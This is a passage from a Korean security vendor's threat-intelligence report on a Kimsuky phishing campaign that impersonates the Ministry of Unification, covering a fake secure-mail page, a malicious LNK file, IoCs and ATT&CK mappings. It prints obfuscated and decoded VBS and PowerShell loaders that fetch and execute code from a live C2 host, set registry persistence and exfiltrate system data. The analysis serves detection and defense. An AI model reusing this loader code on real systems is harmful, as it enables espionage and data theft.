사용하는 디자인과 겉으로 보기에 동일합니다.

[그림 3-8] 'email_17107031014.html' 파일 실행 화면

○ 공격자는 실제 기관에서 사용하는 보안 메일 포맷을 악용해 공격을 수행한 것으로,

과거에도 비슷한 사례가 있습니다. 정상적인 보안 메일은 암호를 정확히 입력해야

합니다.

○ 평소 이 같은 보안메일 수신자의 경우 비밀번호를 휴대폰 문자메시지(SMS)로 받기

때문에 이메일 제목이나 본문에 포함됐을 경우 의심해 볼 필요가 있습니다. 본 사례의

경우도 제목에 비밀번호(비번)를 포함해 의심을 최소화하는데 활용했습니다.

○ 그렇지만, 이 파일은 임의 조작된 악성 파일이기 때문에 비밀번호가 정확하지

않더라도 [확인] 버튼을 클릭하면 다음 화면으로 넘어가게 됩니다.

Genians Security Center 30



Threat Intelligence Report

○ 'email_17107031014.html' 코드의 내부 중 일부를 살펴보면 다음과 같습니다.

[그림 3-9] 'email_17107031014.html' 파일 코드 일부 모습
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○ 코드 내부를 살펴보면 통일부 시큐어 메일을 일부 조작해 사용한 것을 알 수

있습니다. 특이하게도 임의 변경된 부분에 별도의 주석처리가 포함돼 있는데, 공격자가

수정 기록을 남겨둔 것이 흥미롭습니다.

○ 수정된 명령어 영역에 'john_modified' 표현 등이 주석으로 사용됐는데, 공격자는

수정된 부분을 확인하며, 테스트를 수행한 것으로 추정됩니다.

○ GSC는 본 캠페인의 추적 과정 중 비슷한 계열의 변종도 발견했는데, 한글 폰트 설정

문자가 비정상적으로 깨져 피싱 화면이 제대로 출력되지 않는 오류 버전도

확인했습니다. 따라서 해당 공격은 실패했을 가능성이 높습니다.

[그림 3-10] 한글 표기 부분이 깨진 상태로 사용된 코드 일부
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○ 한편 보안메일 화면의 비밀번호 기재란에 별다른 입력 상관 없이 [확인] 버튼을

클릭하면 본문 내용과 함께 '통일부 인권인도실장 면담 관련.rar' 파일이 첨부된 것을 볼

수 있습니다.

[그림 3-11] 보안메일 다음 단계에서 출력되는 본문 내용

○ 한편 보안메일 화면의 비밀번호 기재란에 별다른 입력 상관 없이 [확인] 버튼을

클릭하면 본문 내용과 함께 '통일부 인권인도실장 면담 관련.rar' 파일이 첨부된 것을 볼

수 있습니다.

[그림 3-12] RAR 압축 내부에 포함된 부속 파일 화면

○ '통일부 인권인도실장 면담 관련.rar' 압축 파일 내부에는 2개의 포함이 존재하는

것을 알 수 있습니다.
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파일명 파일크기 해시(MD5)

2310 (통일부
인권인도실)
인권인도실장 면담 관련
통일부 업무상황 보고
참고자료.hwp.lnk

52,950 바이트
a9276bae977589f3f6
70f26b2cb8a9f1

20231025_인권인도실
사례비 양식.hwp

39,424 바이트
119e6b7626e99b356
9019f0c70885658

[표 3-3] RAR 압축 내부에 포함된 파일 정보

○ 압축 파일 내부에 존재하는 '20231025_인권인도실 사례비 양식.hwp' 파일의 경우

정상 문서로 사례비 지급 의뢰서 내용을 담고 있습니다. 이 파일의 내부 문서 요약과

통계 정보를 살펴보면, 지은이는 'pps' 이름이 있고, 마지막 저장한 사람은 'Leopard'

이름이 사용된 것을 볼 수 있습니다.

[그림 3-13] 미끼로 사용된 정상 HWP 문서 파일의 정보

○ 공격자는 미끼용 정상 HWP 문서 파일과 폴더 옵션 확장자 숨김 디폴트 설정에 따라,

마치 HWP 파일처럼 보이게 만든 이중 확장자의 LNK 악성 파일을 공격 전략으로

사용했습니다.
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○ '2310 (통일부 인권인도실) 인권인도실장 면담 관련 통일부 업무상황 보고

참고자료.hwp.lnk' 파일을 'LECmd' 도구로 내부 명령을 파싱해 보면 다음과 같이12

난독화 처리된 Powershell 명령을 볼 수 있습니다.

[그림 3-14] LNK 바로가기 파일에 포함된 악성 명령어

○ Powershell 명령을 통해 LNK 파일의 전체 크기(0x0000CED6)인 52,950 바이트를

확인합니다. 선언된 코드상 오프셋 0부터 8202 위치까지가 정상 HWP 문서 파일의

12 LECmd Parse lnk files
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시작 위치이고, 오프셋 0부터 52234 위치까지가 악성 VBS 파일의 시작 위치인 것을

확인합니다.

[그림 3-15] LNK 내부에 삽입된 정상 HWP 문서와 악성 VBS 코드

○ Powershell 명령을 통해 내부에 삽입된 정상 문서(2310 (통일부 인권인도실)

인권인도실장 면담 관련 통일부 업무상황 보고 참고자료.hwp)와 악성

스크립트(tmp<랜덤숫자9자리조합>.vbs)는 임시폴더(Temp) 경로에 생성되고

실행됩니다.
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○ 정상 HWP 문서 파일이 실행되면 다음과 같은 내용이 보여집니다.

[그림 3-16] 통일부 인권인도실 보고자료 내용을 담은 모습

○ 통일부 인권인도실 업무상황 보고자료 내용이 보여지면서, tmp 문자열과 랜덤한

숫자 9자리가 조합된 VBS 악성 코드가 실행됩니다. 내부에는 다음과 같은 스크립트가

포함돼 있습니다.
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Decode = "":for i = 1 to 620: Decode = Decode +
chr(Asc(mid(";Po!Fssps!Sftvnf!Ofyu;Tvc!TfuJFTubuf)*;Dpotu!il!>!'I91111
112;sfhejs!>!#Tpguxbsf]Njdsptpgu]Joufsofu!Fyqmpsfs]Nbjo#;Xjui!HfuPc
kfdu)#xjonhnut;]sppu]efgbvmu;TueSfhQspw#*;/TfuTusjohWbmvf!il-!sfh
ejs-!#Difdl`Bttpdjbujpot#-!#op#;/TfuExpseWbmvf!!il-!sfhejs-!#EjtbcmfGj
stuSvoDvtupnj{f#-!2;/TfuExpseWbmvf!!il-!#Tpguxbsf]Njdsptpgu]Fehf]JF
UpFehf#-!#SfejsfdujpoNpef#-!1!;Foe!Xjui;Foe!Tvc;TfuJFTubuf;vj!>!#xxx/j
tvkfjm/dp/ls0qh0ben0jnh0vqmpbe1#;Xjui!DsfbufPckfdu)#JoufsofuFyqm
psfs/Bqqmjdbujpo#*;/Obwjhbuf!#iuuq;00#!'!vj!'!#0mjtu/qiq@rvfsz>2#;
Ep!xijmf!/cvtz;XTdsjqu/Tmffq!211;Mppq;cu>/Epdvnfou/Cpez/JoofsUfyu;
/Rvju;Foe!Xjui;Fyfdvuf)cu*;;",i,1)) - (1)):Next:Execute Decode:

[표 3-4] VBS 내부 코드 내용

○ 디코드 루틴은 621개의 ASCII 문자열을 (-1) 쉬프트하여 실행하게 됩니다. 따라서

문자 배열은 다음과 같이 역순으로 한 칸씩 이동 변환 됩니다.

- P => O

- o => n

- F => E

- s => r

[그림 3-17] ASCII 문자표 변환 차트

Genians Security Center 38



Threat Intelligence Report

:On Error Resume Next:Sub SetIEState():Const hk = &H80000001:regdir
= "Software\Microsoft\Internet Explorer\Main":With
GetObject("winmgmts:\root\default:StdRegProv"):.SetStringValue hk,
regdir, "Check_Associations", "no":.SetDwordValue hk, regdir,
"DisableFirstRunCustomize", 1:.SetDwordValue hk,
"Software\Microsoft\Edge\IEToEdge", "RedirectionMode", 0 :End
With:End Sub:SetIEState:ui =
"www.isujeil.co[.]kr/pg/adm/img/upload0":With
CreateObject("InternetExplorer.Application"):.Navigate "http://" & ui &
"/list.php?query=1":Do while .busy:WScript.Sleep
100:Loop:bt=.Document.Body.InnerText:.Quit:End With:Execute(bt)::

[표 3-5] VBS 코드 디코딩 화면

○ 디코딩된 후 실행된 VBS 코드는 오류가 발생할 때 스크립트를 중단하지 않고 계속

실행하도록 구문을 설정합니다. 그다음에 인터넷 익스플로러(iexplore.exe)를 호출하여

명령제어(C2) 서버 주소로 접속을 시도합니다.

악성파일명 C2

2310 (통일부 인권인도실)
인권인도실장 면담 관련 통일부
업무상황 보고 참고자료.hwp isujeil.co[.]kr/pg/adm/img/upload0

/list.php?query=1
tmp+랜덤숫자9자리조합.vbs

(예) tmp298855589.vbs

[표 3-6] 악성파일과 명령제어(C2) 서버 주소

○ C2 주소로 통신이 시도되고 [list.php?query=1] 인자값 호출이 성공되면 다음

명령이 작동됩니다.
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[그림 3-18] 웹 브라우저 접속시 보여지는 C2 서버 명령어

○ C2 접속이 성공되면 하기 내용이 호출되고, OS 버전 '10' 미만 비교 조건 루틴에

따라 컴퓨터 주요 정보 수집 및 자료 유출이 시도됩니다. [list.php?qu=6] 명령이

컴퓨터 시스템의 하드웨어 및 OS 정보, 다운로드 폴더 및 프로세스 리스트 등이 주요

수집 대상입니다.

strHost = "www.isujeil.co[.]kr"
strAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0
Safari/537.36"
pwd = "pa55w0rd"

If ver < 10 Then
vTxt = "On Error Resume Next:With

CreateObject(""InternetExplorer.Application""):.Navigate ""http://" &
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strHost & "/pg/adm/img/upload0/list.php?qu=6"":Do while
.busy:WScript.Sleep 100:Loop:bt=.Document.Body.InnerText:.Quit:End
With:Execute(bt)"

Reserve vPath, vTxt
Reg vPath

Else

psTxt = "using namespace System.IO;" & _
"using namespace System.Security.Cryptography;" &

_
"$uh='http://" & strHost & "';" & _
"$req=@{uri=$uh+$args[0];useragent='" & strAgent

& "'};" & _
"$bytes=(wget @req).content;" & _
"$im=New-Object MemoryStream(,$bytes);" & _
"$om=New-Object MemoryStream;" & _
"$s=New-Object Byte[](32);" & _
"$len=$im.Read($s,0,$s.Length);" & _
"if($len -ne $s.Length){exit;}" & _
"$pwd='" & pwd & "';" & _
"$pb=New-Object Rfc2898DeriveBytes($pwd, $s);" &

_
"$key=$pb.GetBytes(32);" & _
"$iv=$pb.GetBytes(16);" & _
"$c=New-Object AesManaged;" & _
"$dec=$c.CreateDecryptor($key,$iv);" & _
"$cm=New-Object

CryptoStream($im,$dec,[CryptoStreamMode]::Read);" & _
"$cm.CopyTo($om);" & _
"$om.Dispose();" & _
"$decbytes=$om.ToArray();" & _

"$cmd=[System.Text.Encoding]::ASCII.GetString($decbytes);" & _
"iex -command $cmd;" & _
"icm -script $scblock -args $uh,$pwd;"

psName = "w" & strSuf & ".ps1"
psPath = workDir & "\" & psName
Reserve psPath & "2x", psTxt
resPath = workDir & "\res.ini"
Reserve resPath, psPath
re_cmd = "cmd /c rename " & psPath & "2x " & psName
WMProc(re_cmd)

vTxt = "ct = Now" & vbnewline & _
"set fso =

CreateObject(""Scripting.FileSystemObject"")" & vbnewline & _
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"workDir = """ & workDir & """" & vbnewline & _
"resPath = """ & resPath & """" & vbnewline & _
"set fres = fso.OpenTextFile(resPath,1)" & vbnewline

& _
"psPath = fres.ReadAll" & vbnewline & _
"fres.Close" & vbnewline & _
"If fso.FileExists(psPath) = False Then" & vbnewline &

_
"psPath = workDir & ""\w"" & Minute(ct) & Hour(ct)

& "".ps1""" & vbnewline & _
"psTxt = """ & psTxt & """" & vbnewline & _
"set fp = fso.OpenTextFile(psPath, 2, True)" &

vbnewline & _
"fp.write psTxt" & vbnewline & _
"fp.Close" & vbnewline & _
"set fres = fso.OpenTextFile(resPath,2,true)" &

vbnewline & _
"fres.Write psPath" & vbnewline & _
"fres.Close" & vbnewline & _
"End IF" & vbnewline & _
"pow_cmd = ""powershell -ep bypass -file path

""""/pg/adm/img/upload0/lib.php?ix=11""""""" & vbnewline & _
"pow_cmd = Replace(pow_cmd, ""path"", psPath)" &

vbnewline & _
"wh = ""winmgmts:""" & vbnewline & _
"wt = ""win32_process""" & vbnewline & _
"set wm = GetObject(wh & wt)" & vbnewline & _
"set ows = GetObject(wh & ""\root\cimv2"")" &

vbnewline & _
"set ost = ows.Get(wt & ""startup"")" & vbnewline &

_
"set oconf = ost.SpawnInstance_" & vbnewline & _
"oconf.ShowWindow = 12" & vbnewline & _
"errReturn = wm.Create(pow_cmd, Null, oconf, pid)"

& vbnewline

ct = Now
Reserve vPath, vTxt
Reg vPath

pow_cmd = "powershell -ep bypass -file path
""/pg/adm/img/upload0/lib.php?ix=1"""

pow_cmd = Replace(pow_cmd, "path", psPath)
WMProc(pow_cmd)

End If

[표 3-7] C2 주소의 [list.php?qu=1] 인자값으로 연결된 악성 코드 화면
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○ 수집된 개인정보는 POST 명령을 통해 동일 C2 경로의 'show.php' 주소로

'Info.txt' 파일로 전송됩니다. 이때 사용되는 바운더리 문자열은 앞서 Kimsuky

캠페인으로 기술했던 것과 마찬가지로 '----c2xkanZvaXU4OTA' 문자열이

사용됐습니다.

[그림 3-19] [list.php?qu=6] 인자값으로 호출된 명령어 일부

○ OS 버전 '10' 이상 조건 루틴의 경우 [lib.php?ix=11], [lib.php?ix=1] 등이 연결이

되는데, ASE로 인코딩된 데이터를 호출하게 됩니다. 이때 사용된 패스워드 값은

'pa55w0rd' 입니다.
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[그림 3-20] 다운로드된 [lib.php?ix=11], [lib.php?ix=1] 암호화 파일

○ Powershell 기반 AES 암호화 및 패스워드(pa55w0rd)는 Geoff Garside 깃허브에

공개된 코드와 거의 동일한 상태입니다.13

13 geoffgarside/AESDecrypt.ps1
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[그림 3-21] Geoff Garside 깃허브의 AESDecrypt.ps1 화면

○ 상기 Powershell 명령을 통해 [lib.php?ix=11], [lib.php?ix=1] 두개의 파일은

복호화 과정을 거치게 됩니다. [lib.php?ix=11] 명령이 작동하면, 먼저 내부에 정의된

'Function AESEncrypt', 'Function AESDecrypt' 루틴이 기존과 동일하게 설정돼

있습니다. 그 다음 'Function PostBinary' 루틴에 의해 파일 업로드 폼 등을 지니고

있습니다. 그리고 뮤텍스(Mutex) 값으로 'Main#200913' 문자열이 사용된 점이

주목됩니다.

○ [lib.php?ix=1] 명령도 비슷한 구조를 가지고 있지만, 'Function ListDir', 'Function

ListDrives' 루틴이 존재합니다. 이를 통해 감염 시스템의 주요 정보, 프로세스/서비스

리스트, Firewall 프로필 정책 상태, AntiVirus 제품 등의 정보를 수집합니다. 더불어

바탕화면, 문서, 다운로드, 최근 문서(Recent), 시작 프로그램, 프로그램 파일 경로 등의

정보도 수집해 [show.php] 경로로 유출을 시도합니다.
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[그림 3-22] [lib.php?ix=1] 디코딩된 코드 화면
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3.3. Genian EDR 기반 가시성 확보 (Endpoint Visibility)

○ 본 위협 사례처럼 지능형 위협의 증가에 따라 정보보안의 패러다임이 빠르게

변화하고 있습니다. 악성파일 유입과 감염 뿐 아니라 취약점을 이용한 내부 확산을

탐지하고, 반복적으로 발생하는 이상행위와 각종 이벤트를 실시간으로 추적해 신속하게

분석, 대응할 수 있는 위협 인텔리전스 보안 솔루션 활용이 필요합니다.

○ Genian EDR은 단말(Endpoint)에서 발생하는 보안 위협을 빠르게 탐지해 추가 분석

및 대응을 수행할 수 있도록 설계된 ‘단말 이상행위 탐지 및 대응 솔루션’ 입니다.

분석가의 심층 분석 지원 역할 뿐만 아니라, EDR 기반 가시성 분석을 통한 빠른 보안

정책 수립도 가능합니다.

[그림 3-23] Genian EDR 제품에서 위협을 탐지한 모습

Genians Security Center 47



Threat Intelligence Report

4. 유사도 분석 (Similarity Analysis)
4.1. Kimsuky APT 캠페인별 코드 비교

○ 지난 2022년 하반기 기준 Kimsuky APT 위협들은 주로 DOC 유형의 악성 파일이

활용됐습니다.

한국인터넷진흥원 사칭
(2022. 06. 16)

kima.medianewsonline[.]com/path/list.php?qu
ery=6

일민국제관계연구원 사칭
(2022. 08. 10)

complletely.mypressonline[.]com/file/upload/list
.php?query=6

[표 4-1] DOC 위협 사례별 C2 주소 및 코드 비교 화면

○ 2023년에는 CHM 유형의 악성파일이 유사한 코드 형태로 다수 발견되기

시작합니다. 이때는 VBS 파일이 로컬에 생성되어 실행되는 전술이 사용됩니다. 물론,

여기서 작성한 내용 외에도 변형들이 더 존재합니다.
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통일외교부 기자 사칭
(2023. 03. 03)

mpevalr.ria[.]monster/SmtInfo/demo.txt

사이버안전국 사칭
(2023. 03. 13)

ibsq.co[.]kr/config/demo.txt

한국글로벌피스재단 사칭
(2023. 07. 24)

one.bandi[.]tokyo/clever/demo.txt

[표 4-2] CHM 위협 사례별 C2 주소 및 VBS 코드 비교 화면
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4.2. 타입별 Kimsuky 코드 유사성 비교

○ 2022년 DOC 악성 파일의 [list.php?query=6] 코드 스타일과 2023년 CHM 악성

파일의 [Document.vbs], [mini.vbs] 유형이 거의 동일한 것을 알 수 있습니다. 추가로

각 [list.php?query=1] 내용을 비교해 봐도 유사성이 높습니다.

한국인터넷진흥원 사칭
(2022. 06. 16)

통일부 사칭
(2023. 09. 19)

Sub WMProc(p_cmd)
set wm =

GetObject("winmgmts:win32_proc
ess")

set ows =
GetObject("winmgmts:\root\cim
v2")

set ost =
ows.Get("Win32_ProcessStartup")

set oconf =
ost.SpawnInstance_

oconf.ShowWindow = 12
errReturn =

wm.Create(p_cmd, Null, oconf,
pid)
End Sub

Sub WMProc(p_cmd)
wh = "winmgmts:"
wt = "win32_process"
set wm = GetObject(wh &

wt)
set ows = GetObject(wh &

"\root\cimv2")
set ost = ows.Get(wt &

"startup")
set oconf =

ost.SpawnInstance_
oconf.ShowWindow = 12
errReturn =

wm.Create(p_cmd, Null, oconf,
pid)
End Sub

kima.medianewsonline[.]com/path
/list.php?query=1

ba-reum.co[.]kr/adm/status/down/l
ist.php?query=1

[표 4-3] DOC 및 CHM 악성파일 간 명령어 비교 화면
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4.3. 위협 케이스별 연관 관계

■ 공격 체인 연관성 조사

○ Babyshark 도구를 사용한 MS Word 기반 악성파일은 'Storm' 작전과 연결이 되고,

Coyote, Puma, Leopard 등의 계정과 연관된 것을 알 수 있습니다.

[그림 4-1] 김수키 위협별 연관 관계도
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5. 결론 및 대응방법 (Conclusion)
5.1. Genian EDR 제품을 통한 효과적인 위협 탐지

■ 공격 스토리 라인의 시각화 분석 및 가시성 확보

○ Genain EDR 서비스를 기업 및 기관 등에서 도입해 적극 활용할 경우 신규 APT14

공격 유입시 전체 흐름을 신속하게 파악해 위협의 내부 확산을 차단할 수 있음은 물론,

위협 연관 관계 분석을 용이하게 수행할 수 있습니다.

[그림 5-1] Genian EDR 제품에서 탐지된 악성 CHM 이벤트

○ Genian EDR 제품을 활용할 경우 악성 CHM 파일에 의해 생성되는 ini 파일과

레지스트리 등을 모두 완벽하게 탐지하여 신속한 조치가 가능합니다.

14 단말 이상행위 탐지 및 대응 솔루션 Genian EDR
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[그림 5-2] Genian EDR 제품의 XBA 이상행위 탐지 내역과 알림

○ 공격자는 지속성 유지를 위해 Run 값에 레지스트리를 등록하는데 Genian EDR

제품을 통해 해당 내용을 즉시 탐지할 수 있고, 추가 분석이나 위협 흔적 채증을 위한

커맨드 라인 확인도 가능합니다.

○ 더불어 통일부를 사칭한 RAR 악성 파일은 GSC에서 등록한 자체 침해지표(IoC)를

통해 압축 파일 자체를 선제적으로 탐지할 수 있고, 내부에 존재하는 바로가기(LNK)

악성파일은 행위 이벤트 탐지가 가능합니다. 이처럼 Genian EDR 제품을 활용할 경우

체계적인 위협 대응이 가능해 집니다.
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[그림 5-3] EDR에서 탐지한 악성스크립트 정보

○ Genian EDR에서는 악성 VBS 스크립트 이벤트를 탐지하고, AMSI 정보를 통해

상세한 코드를 확인할 수 있습니다.15

5.2. 민·관 협력 위협 인텔리전스를 통한 선제적 대응

■ KISA 위협 인텔리전스 네트워크 협력

○ 지니언스 시큐리티 센터(GSC)는 본 보고서에 기술된 명령제어(C2) 서버 중에 국내

특정 도메인이 공격 거점에 악용 중인 사실을 발견했습니다. 한국인터넷진흥원(KISA)

위협 인텔리전스 네트워크 채널에 이 내용을 신속히 공유했고, KISA측은 능동적인

대응과 적절한 후속 조치를 진행해 주었습니다.

○ 이처럼 국가 연계 위협 행위자들은 국내외 많은 웹 서버를 불법 침투하거나 직접

구축해 또 다른 공격 거점으로 악용하기에, 사이버 위협 분야에서 신속한 민·관 협력은

무엇보다 중요합니다.

15 AMSI(맬웨어 방지 프로그램 검사 인터페이스)
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○ GSC는 보고서로 소개된 내용 외에도 시시각각 식별된 신규 위협 정보를 KISA 등과

긴밀히 공조하는 등 협력 대응 체계를 유지하고 있으며, KISA 및 정부 유관기관의

적극적인 협조로 피해 최소화에 많은 효과를 발휘하고 있습니다.

※ [사이버위협 인텔리전스 네트워크]는 한국인터넷진흥원(KISA)과 주요 보안업체가

참여해 운영 중인 협력 체계로 최신 위협 정보 공유 등을 통해 침해사고 민·관 공동

대응을 강화하고자 구성된 협력 네트워크 입니다. 현재 실시간 온라인 정보 공유 채널이

운영 중이며, 원활한 커뮤니케이션이 유지 중입니다.

6. 주요 침해 지표 (Indicator of Compromise)
6.1. Malware MD5 Hash

00FF9F067C3ADFFE04E89B0A654865D2

04A0505CC45D2DAC4BE9387768EFCB7C

1287F69B59F67AAB247487CDD12DFEF7

12EA0DF10C1C0D23DC4141806DCDBB72

1670BB091DBA017606EA5E763072D45F

1FD0ABCCCBC7D4BFDC1A11D4AFA97E6D

20CDCC85D0AE460C1B6E612B154E0E16

3E6225639930E59EB451D629C68D6C49

4DE19E2C39B1D193E171DC8D804005A4

55A46A2415D18093ABCD59A0BF33D0A9

71DFDEE26EE08673895E00D6F21DF90F

76159EF8239C0EE7C6A6C75F805D6236

8BEE08D7B452B5D51780FB4DCC9CA2BF

8EDE7C76CF88723A2A4454793260A970

90A56BC6A66BB4E02265389529757460

96C9A1CFEAD6477982BD5A5279A2E813

A199C19A6ACDE21505B21DA9D74562CC

A3DF25ABAC771A892F6CAF29B140A6EB

A9276BAE977589F3F670F26B2CB8A9F1
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B1A444AA1FE1287FDC516E1C2EC9F1B2

BF41074E39BB3ABBE4E4640401E7E655

D3A317DD167CFA77C976FA9C86C24982

DB056ED732D7CABEDCF10E783A349C8C

DDE1F94B7B8DCD720B6952BA9D71763F

F5C7538C149CC502D6B937A2965167F0

FB5AEC165279015F17B29F9F2C730976

FE4DD316363D3631C83C2995DD3775F4

6.2. Domain Names

ba-reum.co[.]kr

beilksa.scienceontheweb[.]net

bipaf[.]org

cainnick002.000webhostapp[.]com

complletely.mywebcommunity[.]org

comr.scienceontheweb[.]net

dropped.atwebpages[.]com

file.com-port[.]space

gooogie.mygamesonline[.]org

heritage2020.cafe24[.]com

ibsq.co[.]kr

infotechkorea[.]com

inonix.co[.]kr

isujeil.co[.]kr

jooshineng[.]com

kima.medianewsonline[.]com

kinu.medianewsonline[.]com

koreawus[.]com
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mechapia[.]com

mpevalr.ria[.]monster

one.bandi[.]tokyo

orblog.mireene[.]com

oxusgreen.co[.]kr

point.com-def[.]asia

samsoding.homm7.gethompy[.]com

stommy.mywebcommunity[.]org

uppgrede.scienceontheweb[.]net

viewfile.ria[.]monster

yanggucam.designsoup.co[.]kr

7. 공격 지표 (Indicator of Attack)
7.1. MITRE ATT&CK Matrix

- MITRE ATT&CK Matrix - BabyShark Descriptions16 17

Tactic Technique Description

Reconnaissance

T1598.002
Phishing for Information:
Spearphishing Attachment

T1598.003
Phishing for Information:
Spearphishing Link

Resource
Development

T1585.002
Establish Accounts:
Email Accounts

Initial Access

T1566.002
Phishing:
Spearphishing Link

T1566.003
Phishing:
Spearphishing via Service

Execution

T1059.001
Command and Scripting Interpreter:
PowerShell

T1059.003
Command and Scripting Interpreter:
Windows Command Shell

17 BabyShark

16 https://attack.mitre.org/tactics/enterprise/
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T1059.005
Command and Scripting Interpreter:
Visual Basic

T1204.002
User Execution:
Malicious File

Persistence T1547.001
Boot or Logon Autostart Execution:
Registry Run Keys / Startup Folder

Defense Evasion

T1070.004
Indicator Removal:
File Deletion

T1140 Deobfuscate/Decode Files or Information

T1218.001
System Binary Proxy Execution:
Compiled HTML File

Discovery

T1057 Process Discovery

T1082 System Information Discovery

T1083 File and Directory Discovery

T1518.001
Software Discovery:
Security Software Discovery

Command and
Control

T1071.001
Application Layer Protocol:
Web Protocols

Exfiltration T1041 Exfiltration Over C2 Channel

[표 7-1] MITRE ATT&CK, Tactics and Techniques
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